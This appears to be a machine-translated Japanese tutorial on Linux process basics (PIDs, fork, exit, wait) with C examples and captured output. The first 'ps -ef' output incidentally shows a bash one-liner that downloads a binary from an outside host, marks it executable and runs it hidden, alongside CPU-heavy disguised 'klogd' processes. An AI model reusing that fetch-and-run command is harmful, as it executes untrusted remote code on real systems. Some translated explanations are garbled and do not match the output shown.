Inter-process-communication-quick-guide

提供:Dev Guides
移動先:案内検索

プロセス間通信-概要

プロセス間通信(IPC)は、あるプロセスと別のプロセスとの通信を含むメカニズムです。 これは通常、1つのシステムでのみ発生します。

通信には2つのタイプがあります-

  • 親プロセスや子プロセスなど、1つのプロセスのみから開始する関連プロセス間。
  • 関連のないプロセス間、または2つ以上の異なるプロセス間。

以下は、このトピックをさらに進める前に知っておく必要がある重要な用語です。

パイプ-2つの関連プロセス間の通信。 メカニズムは半二重です。つまり、最初のプロセスが2番目のプロセスと通信します。 全二重を実現するには、つまり、2番目のプロセスが最初のプロセスと通信するには、別のパイプが必要です。

*FIFO* -2つの無関係なプロセス間の通信。 FIFOは全二重です。つまり、最初のプロセスが2番目のプロセスと通信でき、同時にその逆も可能です。

メッセージキュー-全二重容量の2つ以上のプロセス間の通信。 プロセスは、メッセージを投稿してキューから取得することにより、互いに通信します。 取得されると、メッセージはキューで使用できなくなります。

共有メモリ-2つ以上のプロセス間の通信は、すべてのプロセス間で共有されるメモリを通じて実現されます。 共有メモリは、すべてのプロセスへのアクセスを同期することにより、互いに保護する必要があります。

セマフォ-セマフォは、複数のプロセスへのアクセスを同期するためのものです。 1つのプロセスが(読み取りまたは書き込みのために)メモリにアクセスする場合、アクセスが削除されたときにロック(または保護)して解放する必要があります。 データを保護するには、すべてのプロセスでこれを繰り返す必要があります。

シグナル-シグナルは、シグナルを介して複数のプロセス間で通信するためのメカニズムです。 これは、ソースプロセスが(番号で認識される)シグナルを送信し、宛先プロセスがそれに応じてそれを処理することを意味します。

-このチュートリアルのほとんどすべてのプログラムは、Linuxオペレーティングシステム(Ubuntuで実行)でのシステムコールに基づいています。

プロセス情報

プロセス情報に入る前に、次のようないくつかのことを知る必要があります-

プロセスとは何ですか? プロセスは実行中のプログラムです。

プログラムとは何ですか? プログラムは、プロセスの情報と、実行中にプロセスを構築する方法を含むファイルです。 プログラムの実行を開始すると、プログラムがRAMにロードされ、実行が開始されます。

各プロセスは、プロセスIDまたは単にPID(プロセス識別番号)と呼ばれる一意の正の整数で識別されます。 カーネルは通常、プロセスIDを32767に制限しますが、これは構成可能です。 プロセスIDがこの制限に達すると、プロセスIDが再びリセットされます。これは、システムが範囲を処理した後です。 そのカウンターの未使用プロセスIDは、新しく作成されたプロセスに割り当てられます。

システムコールgetpid()は、呼び出しプロセスのプロセスIDを返します。

#include <sys/types.h>
#include <unistd.h>

pid_t getpid(void);

この呼び出しは、一意であることが保証されている呼び出しプロセスのプロセスIDを返します。 この呼び出しは常に成功するため、エラーを示す戻り値はありません。

各プロセスにはプロセスIDと呼ばれる固有のIDがありますが、それは誰が作成したのでしょうか? 作成者に関する情報を取得する方法は? 作成者プロセスは親プロセスと呼ばれます。 親IDまたはPPIDは、getppid()呼び出しを介して取得できます。

システムコールgetppid()は、呼び出しプロセスの親PIDを返します。

#include <sys/types.h>
#include <unistd.h>

pid_t getppid(void);

この呼び出しは、呼び出し元プロセスの親プロセスIDを返します。 この呼び出しは常に成功するため、エラーを示す戻り値はありません。

簡単な例でこれを理解しましょう。

以下は、呼び出しプロセスのPIDとPPIDを知るプログラムです。

File name: processinfo.c
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <unistd.h>

int main() {
   int mypid, myppid;
   printf("Program to know PID and PPID's information\n");
   mypid = getpid();
   myppid = getppid();
   printf("My process ID is %d\n", mypid);
   printf("My parent process ID is %d\n", myppid);
   printf("Cross verification of pid's by executing process commands on shell\n");
   system("ps -ef");
   return 0;
}

上記のプログラムのコンパイルと実行では、以下が出力されます。

UID         PID   PPID  C STIME TTY          TIME CMD
root          1      0  0  2017 ?        00:00:00/bin/sh/usr/bin/mysqld_safe
mysql       101      1  0  2017 ?        00:06:06/usr/libexec/mysqld
                                         --basedir =/usr
                                         --datadir =/var/lib/mysql
                                         --plugin-dir =/usr/lib64/mysql/plugin
                                         --user = mysql
                                         --log-error =/var/log/mariadb/mariadb.log
                                         --pid-file =/run/mariadb/mariadb.pid
                                         --socket =/var/lib/mysql/mysql.sock
2868535   96284      0  0 05:23 ?        00:00:00 bash -c download() {
                                         flag = "false" hsize = 1
                                         echo -e "GET/$2 HTTP/1.1\nHost:
                                         $1\nConnection: close\n\n" |
                                         openssl s_client -timeout -quiet
                                         -verify_quiet -connect $1:443 2>
                                        /dev/null | tee out | while read line do
                                         if [[flag" == "false" ]]
                                         then
                                         hsize = $((hsize+$(echo $line | wc -c)))
                                         fi
                                         if [[line:1:1}" == "" ]]
                                         then flag = "true"
                                         fi
                                         echo $hsize >
                                         size done tail -c +$(cat size) out >
                                         $2 rm size out }
                                         ( download my.mixtape.moe mhawum 2>
                                        /dev/null chmod +x mhawum 2>
                                        /dev/null ./mhawum >
                                        /dev/null 2>
                                        /dev/null )&
2868535   96910  96284 99 05:23 ?        00:47:26 ./mhawum
6118874  104116      0  3 05:25 ?        00:00:00 sh -c cd/home/cg/root/6118874;
                                         timeout 10s javac Puppy.java
6118874  104122 104116  0 05:25 ?        00:00:00 timeout 10s javac Puppy.java
6118874  104123 104122 23 05:25 ?        00:00:00 javac Puppy.java
3787205  104169      0  0 05:25 ?        00:00:00 sh -c cd/home/cg/root/3787205;
                                         timeout 10s main
3787205  104175 104169  0 05:25 ?        00:00:00 timeout 10s main
3787205  104176 104175  0 05:25 ?        00:00:00 main
3787205  104177 104176  0 05:25 ?        00:00:00 ps -ef
Program to know PID and PPID's information
My process ID is 104176
My parent process ID is 104175
Cross verification of pid's by executing process commands on shell

注意-“ C”ライブラリ関数system()はシェルコマンドを実行します。 system()に渡される引数は、シェルで実行されるコマンドです。 上記のプログラムでは、コマンドはプロセス状態を示す「ps」です。

/procの場所にあるprocファイルシステムから、実行中のすべてのプロセスに関する完全な情報およびその他のシステム関連情報にアクセスできます。

プロセス画像

プロセスとその親プロセスの基本情報を取得する方法を確認したので、プロセス/プログラム情報の詳細を確認します。

プロセスイメージとは正確には何ですか? プロセスイメージは、プログラムの実行中に必要な実行可能ファイルです。 この画像は通常、次のセクションが含まれています-

  • コードセグメントまたはテキストセグメント
  • データセグメント
  • スタックセグメント
  • ヒープセグメント

以下は、プロセスイメージの図的表現です。

プロセス画像

  • コードセグメント*は、オブジェクトファイルまたはプログラムの仮想アドレス空間の一部であり、実行可能な命令で構成されています。 これは通常、読み取り専用のデータセグメントであり、固定サイズです。

データセグメントには2つのタイプがあります。

  • 初期化済み
  • 初期化されていません
  • 初期化されたデータセグメント*は、オブジェクトファイルまたはプログラムの仮想アドレス空間の一部であり、初期化された静的およびグローバル変数で構成されています。
  • 初期化されていないデータセグメント*は、オブジェクトファイルまたはプログラムの仮想アドレス空間の一部であり、初期化されていない静的およびグローバル変数で構成されます。 初期化されていないデータセグメントは、BSS(Block Started by Symbol)セグメントとも呼ばれます。

実行時に変数の値が変更される可能性があるため、*データセグメント*は読み書き可能です。 このセグメントのサイズも固定されています。

  • スタックセグメント*は、自動変数と関数パラメーターに割り当てられるメモリ領域です。 また、関数呼び出しの実行中に戻りアドレスを保存します。 スタックは、LIFO(Last-In-First-Out)メカニズムを使用して、ローカル変数または自動変数、関数パラメーターを保存し、次のアドレスまたは戻りアドレスを保存します。 戻りアドレスは、関数実行の完了後に戻るアドレスを指します。 このセグメントサイズは、ローカル変数、関数パラメーター、および関数呼び出しごとに可変です。 このセグメントは、上位アドレスから下位アドレスに成長します。
  • ヒープセグメント*は、malloc()およびcalloc()呼び出しなどの動的メモリストレージに割り当てられるメモリ領域です。 このセグメントサイズも、ユーザー割り当てごとに可変です。 このセグメントは、低いアドレスから高いアドレスに成長します。

ここで、いくつかのサンプルプログラムでセグメント(データおよびbssセグメント)のサイズがどのように変化するかを確認しましょう。 セグメントサイズは、コマンド「size」を実行することで認識されます。

初期プログラム

ファイル:segment_size1.c

#include<stdio.h>

int main() {
   printf("Hello World\n");
   return 0;
}

次のプログラムでは、初期化されていない静的変数が追加されます。 これは、未初期化セグメント(BSS)サイズが4バイト増加することを意味します。 -Linuxオペレーティングシステムでは、intのサイズは4バイトです。 整数データ型のサイズは、コンパイラとオペレーティングシステムのサポートによって異なります。

ファイル:segment_size2.c

#include<stdio.h>

int main() {
   static int mystaticint1;
   printf("Hello World\n");
   return 0;
}

次のプログラムでは、初期化された静的変数が追加されます。 これは、初期化セグメント(DATA)サイズが4バイト増加することを意味します。

ファイル:segment_size3.c

#include<stdio.h>

int main() {
   static int mystaticint1;
   static int mystaticint2 = 100;
   printf("Hello World\n");
   return 0;
}

次のプログラムでは、初期化されたグローバル変数が追加されます。 これは、初期化セグメント(DATA)サイズが4バイト増加することを意味します。

ファイル:segment_size4.c

#include<stdio.h>

int myglobalint1 = 500;
int main() {
   static int mystaticint1;
   static int mystaticint2 = 100;
   printf("Hello World\n");
   return 0;
}

次のプログラムでは、初期化されていないグローバル変数が追加されます。 これは、未初期化セグメント(BSS)サイズが4バイト増加することを意味します。

ファイル:segment_size5.c

#include<stdio.h>

int myglobalint1 = 500;
int myglobalint2;
int main() {
   static int mystaticint1;
   static int mystaticint2 = 100;
   printf("Hello World\n");
   return 0;
}

実行手順

編集

babukrishnam $ gcc segment_size1.c -o segment_size1
babukrishnam $ gcc segment_size2.c -o segment_size2
babukrishnam $ gcc segment_size3.c -o segment_size3
babukrishnam $ gcc segment_size4.c -o segment_size4
babukrishnam $ gcc segment_size5.c -o segment_size5

実行/出力

babukrishnam size segment_size1 segment_size2 segment_size3 segment_size4 segment_size5
   text  data  bss  dec  hex  filename
   878   252    8   1138 472  segment_size1
   878   252   12   1142 476  segment_size2
   878   256   12   1146 47a  segment_size3
   878   260   12   1150 47e  segment_size4
   878   260   16   1154 482  segment_size5
babukrishnam

プロセスの作成と終了

これまで、プログラムを実行するたびにプロセスが作成され、実行の完了後にプロセスが終了することがわかりました。 プログラム内にプロセスを作成する必要があり、別のタスクをスケジュールする必要がある場合はどうなりますか。 これは達成できますか? はい、明らかにプロセスの作成を通じて。 もちろん、ジョブが完了すると自動的に終了しますが、必要に応じて終了することもできます。

プロセスの作成は、* fork()システムコール*によって実現されます。 新しく作成されたプロセスは子プロセスと呼ばれ、それを開始したプロセス(または実行が開始されたときのプロセス)は親プロセスと呼ばれます。 fork()システムコールの後、親プロセスと子プロセスの2つのプロセスができました。 それらを区別する方法は? 非常に簡単で、戻り値を使用します。

システムコール

子プロセスの作成後、fork()システムコールの詳細を見てみましょう。

#include <sys/types.h>
#include <unistd.h>

pid_t fork(void);

子プロセスを作成します。 この呼び出しの後、2つのプロセスがあります。既存のプロセスは親プロセスと呼ばれ、新しく作成されたプロセスは子プロセスと呼ばれます。

fork()システムコールは、3つの値のいずれかを返します-

  • エラー、つまり子プロセスの作成に失敗したことを示す負の値。
  • 子プロセスに対してゼロを返します。
  • 親プロセスの正の値を返します。 この値は、新しく作成された子プロセスのプロセスIDです。

簡単なプログラムを考えてみましょう。

File name: basicfork.c
#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>

int main() {
   fork();
   printf("Called fork() system call\n");
   return 0;
}

実行手順

編集

gcc basicfork.c -o basicfork

実行/出力

Called fork() system call
Called fork() system call

注意-通常、fork()呼び出しの後、子プロセスと親プロセスは異なるタスクを実行します。 同じタスクを実行する必要がある場合、fork()呼び出しごとに2乗n回実行されます。ここで、 n はfork()が呼び出される回数です。

上記の場合、fork()は1回呼び出されるため、出力は2回出力されます(2乗1)。 fork()が呼び出された場合、たとえば3回であれば、出力は8回(2乗3)出力されます。 5回呼び出された場合、32回などが出力されます。

fork()が子プロセスを作成したのを見て、今度は親プロセスと子プロセスの詳細を確認します。

ファイル名:pids_after_fork.c

#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>

int main() {
   pid_t pid, mypid, myppid;
   pid = getpid();
   printf("Before fork: Process id is %d\n", pid);
   pid = fork();

   if (pid < 0) {
      perror("fork() failure\n");
      return 1;
   }

  //Child process
   if (pid == 0) {
      printf("This is child process\n");
      mypid = getpid();
      myppid = getppid();
      printf("Process id is %d and PPID is %d\n", mypid, myppid);
   } else {//Parent process
      sleep(2);
      printf("This is parent process\n");
      mypid = getpid();
      myppid = getppid();
      printf("Process id is %d and PPID is %d\n", mypid, myppid);
      printf("Newly created process id or child pid is %d\n", pid);
   }
   return 0;
}

コンパイルおよび実行手順

Before fork: Process id is 166629
This is child process
Process id is 166630 and PPID is 166629
Before fork: Process id is 166629
This is parent process
Process id is 166629 and PPID is 166628
Newly created process id or child pid is 166630

プロセスは、2つの方法のいずれかで終了することができます-

  • 異常に、特定の信号、たとえば終了信号の配信時に発生します。 *通常、_exit()システムコール(または_Exit()システムコール)またはexit()ライブラリ関数を使用します。

_exit()とexit()の違いは、主にクリーンアップアクティビティです。* exit()は、コントロールをカーネルに戻す前に何らかのクリーンアップを行いますが、 _ exit()*(または_Exit())はコントロールをすぐにカーネルに戻します。

exit()を使用した次のプログラム例を検討してください。

ファイル名:atexit_sample.c

#include <stdio.h>
#include <stdlib.h>

void exitfunc() {
   printf("Called cleanup function - exitfunc()\n");
   return;
}

int main() {
   atexit(exitfunc);
   printf("Hello, World!\n");
   exit (0);
}

コンパイルおよび実行手順

Hello, World!
Called cleanup function - exitfunc()

_exit()を使用した次のプログラム例を検討してください。

ファイル名:at_exit_sample.c

#include <stdio.h>
#include <unistd.h>

void exitfunc() {
   printf("Called cleanup function - exitfunc()\n");
   return;
}

int main() {
   atexit(exitfunc);
   printf("Hello, World!\n");
   _exit (0);
}

コンパイルおよび実行手順

Hello, World!

子プロセスの監視

これまで見てきたように、forkを使用してプログラムから子プロセスを作成すると、次のことが起こります-

  • 現在のプロセスが親プロセスになりました
  • 新しいプロセスが子プロセスになります

親プロセスが子プロセスよりも早くタスクを完了してから終了または終了するとどうなりますか? 子プロセスの親は誰になりますか? 子プロセスの親はinitプロセスであり、これはすべてのタスクを開始する最初のプロセスです。

子プロセスの実行状態の監視、子プロセスが実行中か停止中か、実行ステータスの確認など。 wait()システムコールとそのバリアントが使用されます。

親プロセスが子プロセスを待たずに、initプロセスが子プロセスの新しい親になるというプログラム例を考えてみましょう。

ファイル名:parentprocess_nowait.c

#include<stdio.h>

int main() {
   int pid;
   pid = fork();

  //Child process
   if (pid == 0) {
      system("ps -ef");
      sleep(10);
      system("ps -ef");
   } else {
      sleep(3);
   }
   return 0;
}

コンパイルおよび実行手順

UID         PID   PPID  C STIME TTY          TIME CMD
root          1      0  0 Jan20 ?        00:00:00/bin/sh/usr/bin/mysqld_safe
mysql       101      1  0 Jan20 ?        00:04:41/usr/libexec/mysqld --basedir=/usr --datadir=/var/lib/mysql --plugin-dir=/usr/lib64/mysql/plugin --user=mysql --log-error=/var/log/mariadb/mariadb.log --pid-file=/run/mariadb/mariadb.pid --socket=/var/lib/mysql/mysql.sock
3108506    5445      0  0 Jan22 ?        00:01:19 [/sbin/klogd -c ] <defunct>
4688328    5446      0  0 Jan22 ?        00:01:19 [/sbin/klogd -c ] <defunct>
4688328   21894      0  0 Jan22 ?        00:01:19 [/sbin/klogd -c ] <defunct>
3108506   21895      0  0 Jan22 ?        00:01:19 [/sbin/klogd -c ] <defunct>
4688328   27309      0  0 Jan22 ?        00:00:00 [/sbin/klogd -c ] <defunct>
3108506   27311      0  0 Jan22 ?        00:00:00 [/sbin/klogd -c ] <defunct>
8295652   32407      0  0 Jan20 ?        00:00:39/sbin/klogd -c 1 -x -x
4688328   49830      0  0 Jan20 ?        00:00:18/sbin/klogd -c 1 -x -x
3108506   50854      0  0 Jan20 ?        00:00:18/sbin/klogd -c 1 -x -x
4688328   64936      0  0 Jan22 ?        00:00:59 [/sbin/klogd -c ] <defunct>
3108506   64937      0  0 Jan22 ?        00:00:59 [/sbin/klogd -c ] <defunct>
4688328   67563      0  0 Jan22 ?        00:00:59 [/sbin/klogd -c ] <defunct>
5942779   68128      0  0 Jan22 ?        00:00:07/sbin/klogd -c 1 -x -x
3108506   68238      0  0 Jan22 ?        00:00:59 [/sbin/klogd -c ] <defunct>
4688328   68999      0  0 Jan22 ?        00:00:14 [/sbin/klogd -c ] <defunct>
3108506   69212      0  0 Jan22 ?        00:00:14 [/sbin/klogd -c ] <defunct>
4688328   74090      0  0 Jan22 ?        00:00:00 [/sbin/klogd -c ] <defunct>
3108506   74091      0  0 Jan22 ?        00:00:00 [/sbin/klogd -c ] <defunct>
4688328   74298      0  0 Jan22 ?        00:01:19 [/sbin/klogd -c ] <defunct>
3108506   74299      0  0 Jan22 ?        00:01:19 [/sbin/klogd -c ] <defunct>
6327201   74901      0  0 Jan20 ?        00:00:38/sbin/klogd -c 1 -x -x
6327201   77274      0  0 Jan20 ?        00:00:27/sbin/klogd -c 1 -x -x
7528790   78621      0  0 Jan20 ?        00:00:33/sbin/klogd -c 1 -x -x
7528790   80536      0  0 Jan20 ?        00:01:09 [/sbin/klogd -c ] <defunct>
6327201   80542      0  0 Jan20 ?        00:01:09 [/sbin/klogd -c ] <defunct>
4688328   82050      0  0 Jan22 ?        00:01:59 [/sbin/klogd -c ] <defunct>
3108506   82051      0  0 Jan22 ?        00:01:59 [/sbin/klogd -c ] <defunct>
7528790   84116      0  0 Jan20 ?        00:00:27/sbin/klogd -c 1 -x -x
7528790   84136      0 19 Jan20 ?        21:13:38/sbin/klogd -c 1 -x -x
7528790   84140      0  0 Jan20 ?        00:00:28/sbin/klogd -c 1 -x -x
3108506   84395      0  0 Jan22 ?        00:00:29 [/sbin/klogd -c ] <defunct>
4688328   84396      0  0 Jan22 ?        00:00:29 [/sbin/klogd -c ] <defunct>
5942779   84397      0  0 Jan22 ?        00:00:29 [/sbin/klogd -c ] <defunct>
3108506   84928      0  0 Jan22 ?        00:00:29 [/sbin/klogd -c ] <defunct>
4688328   84929      0  0 Jan22 ?        00:00:29 [/sbin/klogd -c ] <defunct>
5942779   84930      0  0 Jan22 ?        00:00:30 [/sbin/klogd -c ] <defunct>
7528790   84970      0  0 Jan20 ?        00:00:34/sbin/klogd -c 1 -x -x
3108506   85787      0  0 Jan22 ?        00:00:14 [/sbin/klogd -c ] <defunct>
4688328   85789      0  0 Jan22 ?        00:00:14 [/sbin/klogd -c ] <defunct>
5942779   86368      0  0 Jan22 ?        00:00:14 [/sbin/klogd -c ] <defunct>
5942779   86402      0  0 Jan22 ?        00:00:14 [/sbin/klogd -c ] <defunct>
5942779   87027      0  0 Jan22 ?        00:00:14 [/sbin/klogd -c ] <defunct>
7528790   87629      0  0 Jan20 ?        00:00:39/sbin/klogd -c 1 -x -x
7528790   87719      0  0 Jan20 ?        00:00:27/sbin/klogd -c 1 -x -x
4688328   88138      0  0 Jan22 ?        00:00:14 [/sbin/klogd -c ] <defunct>
4688328   88140      0  0 Jan22 ?        00:00:14 [/sbin/klogd -c ] <defunct>
5942779   89353      0 99 Jan22 ?        2-07:35:14/sbin/klogd -c 1 -x -x
5942779   91836      0  0 Jan22 ?        00:00:00 [/sbin/klogd -c ] <defunct>
4688328  125358      0  0 Jan22 ?        00:01:19 [/sbin/klogd -c ] <defunct>
3108506  125359      0  0 Jan22 ?        00:01:19 [/sbin/klogd -c ] <defunct>
4688328  127456      0  0 Jan22 ?        00:01:19 [/sbin/klogd -c ] <defunct>
3108506  127457      0  0 Jan22 ?        00:01:19 [/sbin/klogd -c ] <defunct>
8023807  163891      0  0 05:41 ?        00:00:00 main
8023807  164130      0  0 05:41 ?        00:00:00 sh -c cd/home/cg/root/8023807; timeout 10s main
8023807  164136 164130  0 05:41 ?        00:00:00 timeout 10s main
8023807  164137 164136  0 05:41 ?        00:00:00 main
8023807  164138 164137  0 05:41 ?        00:00:00 main
8023807  164139 164138  0 05:41 ?        00:00:00 ps -ef
UID         PID   PPID  C STIME TTY          TIME CMD
root          1      0  0 Jan20 ?        00:00:00/bin/sh/usr/bin/mysqld_safe
mysql       101      1  0 Jan20 ?        00:04:41/usr/libexec/mysqld --basedir=/usr --datadir=/var/lib/mysql --plugin-dir=/usr/lib64/mysql/plugin --user=mysql --log-error=/var/log/mariadb/mariadb.log --pid-file=/run/mariadb/mariadb.pid --socket=/var/lib/mysql/mysql.sock
3108506    5445      0  0 Jan22 ?        00:01:19 [/sbin/klogd -c ] <defunct>
4688328    5446      0  0 Jan22 ?        00:01:19 [/sbin/klogd -c ] <defunct>
4688328   21894      0  0 Jan22 ?        00:01:19 [/sbin/klogd -c ] <defunct>
3108506   21895      0  0 Jan22 ?        00:01:19 [/sbin/klogd -c ] <defunct>
4688328   27309      0  0 Jan22 ?        00:00:00 [/sbin/klogd -c ] <defunct>
3108506   27311      0  0 Jan22 ?        00:00:00 [/sbin/klogd -c ] <defunct>
8295652   32407      0  0 Jan20 ?        00:00:39/sbin/klogd -c 1 -x -x
4688328   49830      0  0 Jan20 ?        00:00:18/sbin/klogd -c 1 -x -x
3108506   50854      0  0 Jan20 ?        00:00:18/sbin/klogd -c 1 -x -x
4688328   64936      0  0 Jan22 ?        00:00:59 [/sbin/klogd -c ] <defunct>
3108506   64937      0  0 Jan22 ?        00:00:59 [/sbin/klogd -c ] <defunct>
4688328   67563      0  0 Jan22 ?        00:00:59 [/sbin/klogd -c ] <defunct>
5942779   68128      0  0 Jan22 ?        00:00:07/sbin/klogd -c 1 -x -x
3108506   68238      0  0 Jan22 ?        00:00:59 [/sbin/klogd -c ] <defunct>
4688328   68999      0  0 Jan22 ?        00:00:14 [/sbin/klogd -c ] <defunct>
3108506   69212      0  0 Jan22 ?        00:00:14 [/sbin/klogd -c ] <defunct>
4688328   74090      0  0 Jan22 ?        00:00:00 [/sbin/klogd -c ] <defunct>
3108506   74091      0  0 Jan22 ?        00:00:00 [/sbin/klogd -c ] <defunct>
4688328   74298      0  0 Jan22 ?        00:01:19 [/sbin/klogd -c ] <defunct>
3108506   74299      0  0 Jan22 ?        00:01:19 [/sbin/klogd -c ] <defunct>
6327201   74901      0  0 Jan20 ?        00:00:38/sbin/klogd -c 1 -x -x
6327201   77274      0  0 Jan20 ?        00:00:27/sbin/klogd -c 1 -x -x
7528790   78621      0  0 Jan20 ?        00:00:33/sbin/klogd -c 1 -x -x
7528790   80536      0  0 Jan20 ?        00:01:09 [/sbin/klogd -c ] <defunct>
6327201   80542      0  0 Jan20 ?        00:01:09 [/sbin/klogd -c ] <defunct>
4688328   82050      0  0 Jan22 ?        00:01:59 [/sbin/klogd -c ] <defunct>
3108506   82051      0  0 Jan22 ?        00:01:59 [/sbin/klogd -c ] <defunct>
7528790   84116      0  0 Jan20 ?        00:00:27/sbin/klogd -c 1 -x -x
7528790   84136      0 19 Jan20 ?        21:13:48/sbin/klogd -c 1 -x -x
7528790   84140      0  0 Jan20 ?        00:00:28/sbin/klogd -c 1 -x -x
3108506   84395      0  0 Jan22 ?        00:00:29 [/sbin/klogd -c ] <defunct>
4688328   84396      0  0 Jan22 ?        00:00:29 [/sbin/klogd -c ] <defunct>
5942779   84397      0  0 Jan22 ?        00:00:29 [/sbin/klogd -c ] <defunct>
3108506   84928      0  0 Jan22 ?        00:00:29 [/sbin/klogd -c ] <defunct>
4688328   84929      0  0 Jan22 ?        00:00:29 [/sbin/klogd -c ] <defunct>
5942779   84930      0  0 Jan22 ?        00:00:30 [/sbin/klogd -c ] <defunct>
7528790   84970      0  0 Jan20 ?        00:00:34/sbin/klogd -c 1 -x -x
3108506   85787      0  0 Jan22 ?        00:00:14 [/sbin/klogd -c ] <defunct>
4688328   85789      0  0 Jan22 ?        00:00:14 [/sbin/klogd -c ] <defunct>
5942779   86368      0  0 Jan22 ?        00:00:14 [/sbin/klogd -c ] <defunct>
5942779   86402      0  0 Jan22 ?        00:00:14 [/sbin/klogd -c ] <defunct>
5942779   87027      0  0 Jan22 ?        00:00:14 [/sbin/klogd -c ] <defunct>
7528790   87629      0  0 Jan20 ?        00:00:39/sbin/klogd -c 1 -x -x
7528790   87719      0  0 Jan20 ?        00:00:27/sbin/klogd -c 1 -x -x
4688328   88138      0  0 Jan22 ?        00:00:14 [/sbin/klogd -c ] <defunct>
4688328   88140      0  0 Jan22 ?        00:00:14 [/sbin/klogd -c ] <defunct>
5942779   89353      0 99 Jan22 ?        2-07:35:24/sbin/klogd -c 1 -x -x
5942779   91836      0  0 Jan22 ?        00:00:00 [/sbin/klogd -c ] <defunct>
4688328  125358      0  0 Jan22 ?        00:01:19 [/sbin/klogd -c ] <defunct>
3108506  125359      0  0 Jan22 ?        00:01:19 [/sbin/klogd -c ] <defunct>
4688328  127456      0  0 Jan22 ?        00:01:19 [/sbin/klogd -c ] <defunct>
3108506  127457      0  0 Jan22 ?        00:01:19 [/sbin/klogd -c ] <defunct>
8023807  164138      0  0 05:41 ?        00:00:00 main
8023807  164897 164138  0 05:41 ?        00:00:00 ps -ef

-親プロセスのPIDが94で、子プロセスのPIDが95であったことに注意してください。 親プロセスが終了した後、子プロセスのPPIDが94から1(初期プロセス)に変更されました。

以下は、子プロセス/esを監視するためのシステムコールのバリアントです-

  • 待つ()
  • waitpid()
  • waitid()
  • wait()*システムコールは、以下に説明するように、子の1つが終了するのを待機し、バッファ内の終了ステータスを返します。
#include <sys/types.h>
#include <sys/wait.h>

pid_t wait(int *status);

この呼び出しは、成功すると終了した子のプロセスIDを返し、失敗すると-1を返します。 wait()システムコールは、現在のプロセスの実行を中断し、その子の1つが終了するまで無期限に待機します。 子からの終了ステータスはステータスで利用可能です。

前のプログラムを変更して、親プロセスが子プロセスを待つようにします。

====/*ファイル名:parentprocess_waits.c */

#include<stdio.h>

int main() {
   int pid;
   int status;
   pid = fork();

  //Child process
   if (pid == 0) {
      system("ps -ef");
      sleep(10);
      system("ps -ef");
      return 3;//exit status is 3 from child process
   } else {
      sleep(3);
      wait(&status);
      printf("In parent process: exit status from child is decimal %d, hexa %0x\n", status, status);
   }
   return 0;
}

コンパイルおよび実行手順

UID         PID   PPID  C STIME TTY          TIME CMD
root          1      0  0 Jan20 ?        00:00:00/bin/sh/usr/bin/mysqld_safe
mysql       101      1  0 Jan20 ?        00:04:42/usr/libexec/mysqld --basedir=/usr --datadir=/var/lib/mysql --plugin-dir=/usr/lib64/mysql/plugin --user=mysql --log-error=/var/log/mariadb/mariadb.log --pid-file=/run/mariadb/mariadb.pid --socket=/var/lib/mysql/mysql.sock
3108506    5445      0  0 Jan22 ?        00:01:19 [/sbin/klogd -c ] <defunct>
4688328    5446      0  0 Jan22 ?        00:01:19 [/sbin/klogd -c ] <defunct>
4688328   21894      0  0 Jan22 ?        00:01:19 [/sbin/klogd -c ] <defunct>
3108506   21895      0  0 Jan22 ?        00:01:19 [/sbin/klogd -c ] <defunct>
4688328   27309      0  0 Jan22 ?        00:00:00 [/sbin/klogd -c ] <defunct>
3108506   27311      0  0 Jan22 ?        00:00:00 [/sbin/klogd -c ] <defunct>
8295652   32407      0  0 Jan20 ?        00:00:39/sbin/klogd -c 1 -x -x
4688328   49830      0  0 Jan20 ?        00:00:18/sbin/klogd -c 1 -x -x
3108506   50854      0  0 Jan20 ?        00:00:18/sbin/klogd -c 1 -x -x
4688328   64936      0  0 Jan22 ?        00:00:59 [/sbin/klogd -c ] <defunct>
3108506   64937      0  0 Jan22 ?        00:00:59 [/sbin/klogd -c ] <defunct>
4688328   67563      0  0 Jan22 ?        00:00:59 [/sbin/klogd -c ] <defunct>
5942779   68128      0  0 Jan22 ?        00:00:07/sbin/klogd -c 1 -x -x
3108506   68238      0  0 Jan22 ?        00:00:59 [/sbin/klogd -c ] <defunct>
4688328   68999      0  0 Jan22 ?        00:00:14 [/sbin/klogd -c ] <defunct>
3108506   69212      0  0 Jan22 ?        00:00:14 [/sbin/klogd -c ] <defunct>
4688328   74090      0  0 Jan22 ?        00:00:00 [/sbin/klogd -c ] <defunct>
3108506   74091      0  0 Jan22 ?        00:00:00 [/sbin/klogd -c ] <defunct>
4688328   74298      0  0 Jan22 ?        00:01:19 [/sbin/klogd -c ] <defunct>
3108506   74299      0  0 Jan22 ?        00:01:19 [/sbin/klogd -c ] <defunct>
6327201   74901      0  0 Jan20 ?        00:00:38/sbin/klogd -c 1 -x -x
6327201   77274      0  0 Jan20 ?        00:00:27/sbin/klogd -c 1 -x -x
7528790   78621      0  0 Jan20 ?        00:00:33/sbin/klogd -c 1 -x -x
7528790   80536      0  0 Jan20 ?        00:01:09 [/sbin/klogd -c ] <defunct>
6327201   80542      0  0 Jan20 ?        00:01:09 [/sbin/klogd -c ] <defunct>
4688328   82050      0  0 Jan22 ?        00:01:59 [/sbin/klogd -c ] <defunct>
3108506   82051      0  0 Jan22 ?        00:01:59 [/sbin/klogd -c ] <defunct>
7528790   84116      0  0 Jan20 ?        00:00:27/sbin/klogd -c 1 -x -x
7528790   84136      0 19 Jan20 ?        21:19:39/sbin/klogd -c 1 -x -x
7528790   84140      0  0 Jan20 ?        00:00:28/sbin/klogd -c 1 -x -x
3108506   84395      0  0 Jan22 ?        00:00:29 [/sbin/klogd -c ] <defunct>
4688328   84396      0  0 Jan22 ?        00:00:29 [/sbin/klogd -c ] <defunct>
5942779   84397      0  0 Jan22 ?        00:00:29 [/sbin/klogd -c ] <defunct>
3108506   84928      0  0 Jan22 ?        00:00:29 [/sbin/klogd -c ] <defunct>
4688328   84929      0  0 Jan22 ?        00:00:29 [/sbin/klogd -c ] <defunct>
5942779   84930      0  0 Jan22 ?        00:00:30 [/sbin/klogd -c ] <defunct>
7528790   84970      0  0 Jan20 ?        00:00:34/sbin/klogd -c 1 -x -x
3108506   85787      0  0 Jan22 ?        00:00:14 [/sbin/klogd -c ] <defunct>
4688328   85789      0  0 Jan22 ?        00:00:14 [/sbin/klogd -c ] <defunct>
5942779   86368      0  0 Jan22 ?        00:00:14 [/sbin/klogd -c ] <defunct>
5942779   86402      0  0 Jan22 ?        00:00:14 [/sbin/klogd -c ] <defunct>
